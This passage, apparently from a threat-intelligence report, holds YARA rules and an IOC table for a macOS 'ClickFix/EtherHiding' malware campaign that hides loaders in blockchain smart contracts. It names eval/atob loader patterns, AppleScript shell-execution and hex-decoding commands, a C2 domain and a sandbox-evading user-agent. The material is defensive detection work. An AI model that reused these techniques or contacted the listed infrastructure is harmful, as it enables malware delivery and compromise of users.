        
        // Campaign Specific IOCs (Binance Smart Chain)
        $bsc_contract = "0xDF132E2893824e26Ec8ae8014b4f4FACD54eD67F" ascii nocase wide
        $bsc_selector = "0x6d4ce63c" ascii nocase wide
        $bsc_rpc      = "bsc-testnet-rpc.publicnode.com" ascii wide
        
        // Obfuscation & Execution Artifacts from Stage 1
        $js_atob_eval = /eval\s*\(\s*atob\s*\(/ ascii
        $js_array_map = "map(function(" ascii
        $js_hex_slice = /slice\(0x0,\s*0x20\)/ ascii
        
    condition:
        filesize < 500KB and (
            // Exact campaign match
            ($bsc_contract or $bsc_selector) or
            // Generic EtherHiding JS loader behavior
            ($rpc_method and $rpc_version and $rpc_latest and $js_atob_eval and #js_hex_slice >= 1)
        )
}

rule ClickFix_EtherHiding_Stage2_AppleScript {
    meta:
        description = "Detects Stage 2 AppleScript loader targeting macOS via Polygon smart contract routing"
        author = "CTI Research"
        severity = "critical"
        campaign = "EtherHiding / ClickFix macOS"
        platform = "macOS"
        
    strings:
        // Clean IOCs (Will catch deobfuscated scripts, memory dumps, and command line logs)
        $poly_contract = "0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0" ascii nocase wide
        $poly_selector = "0x2686ecea" ascii nocase wide
        $tid_full      = "8b636a811a6367c4860dc65ea74225a4" ascii wide
        $c2_domain     = "j9af4sr.guru" ascii wide
        $post_param    = "&bmodule" ascii wide
        
        // Raw Obfuscated Substrings (From Stage 2 script structure)
        // Matches fragments of the tracking ID that were left un-obfuscated: "...636...36...7c4...dc6...a74..."
        $obf_tid_frag1 = "636" ascii
        $obf_tid_frag2 = "7c4" ascii
        $obf_tid_frag3 = "dc6" ascii
        $obf_tid_frag4 = "a74" ascii
        
        // Hardcoded variable strings inside the raw script
        $raw_var1      = "mtYF9vz3gyNz14vN" ascii
        $raw_var2      = "jsiuMrjd1hV3o2hMN6Z" ascii
        
        // AppleScript / Bash Execution Artifacts
        $as_char_id    = "character id" ascii
        $as_ascii_char = "ASCII character" ascii
        $as_shell_exec = "do shell script" ascii
        
        // Command line behavior patterns (sed/hex decoding/osascript piping)
        $cmd_sed_hex   = /sed\s+-n\s+['"]s\/.*""result"":""0x/ ascii
        $cmd_xxd       = "xxd -r -p" ascii
        
    condition:
        filesize < 250KB and (
            // Condition 1: Direct IOC match (Clean script or memory dump)
            any of ($poly_contract, $poly_selector, $tid_full, $c2_domain) or
            
            // Condition 2: Raw obfuscated script on disk (Variable names + TID fragments)
            ($raw_var1 and $raw_var2 and 3 of ($obf_tid_*)) or
            
            // Condition 3: Behavioral heuristic (AppleScript executing EVM hex parsing via bash)
            ($as_shell_exec and ($as_char_id or $as_ascii_char) and $cmd_sed_hex and $cmd_xxd)
        )
}

IOCs

Indicator Type	Value	Context
Domain (C2)	j9af4sr.guru	Stage 3 payload hosting / C2 server
RPC Endpoint (BSC)	https://bsc-testnet-rpc.publicnode.com/	Public node used for Stage 1 query
RPC Endpoint (Polygon)	https://polygon.drpc.org	Public node used for Stage 2 query
RPC Endpoint (Polygon)	https://polygon.publicnode.com	Public node used for Stage 2 query
RPC Endpoint (Polygon)	https://polygon-mainnet.gateway.tatum.io	Public node used for Stage 2 query
RPC Endpoint (Polygon)	https://tenderly.rpc.polygon.community	Public node used for Stage 2 query
Smart Contract (BSC)	0xDF132E2893824e26Ec8ae8014b4f4FACD54eD67F	Stage 1 payload storage (Binance Smart Chain)
Function Selector (BSC)	0x6d4ce63c	EVM ABI selector to read Stage 1 loader
Smart Contract (Polygon)	0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0	Stage 2 C2 domain resolver (Polygon network)
Function Selector (Polygon)	0x2686ecea	EVM ABI selector to read active C2 domain
Tracking ID (tid)	8b636a811a6367c4860dc65ea74225a4	Campaign victim identifier sent during check-in
User-Agent String	Mac OS X 10_15_7	Required header to bypass sandbox detection and WAF rules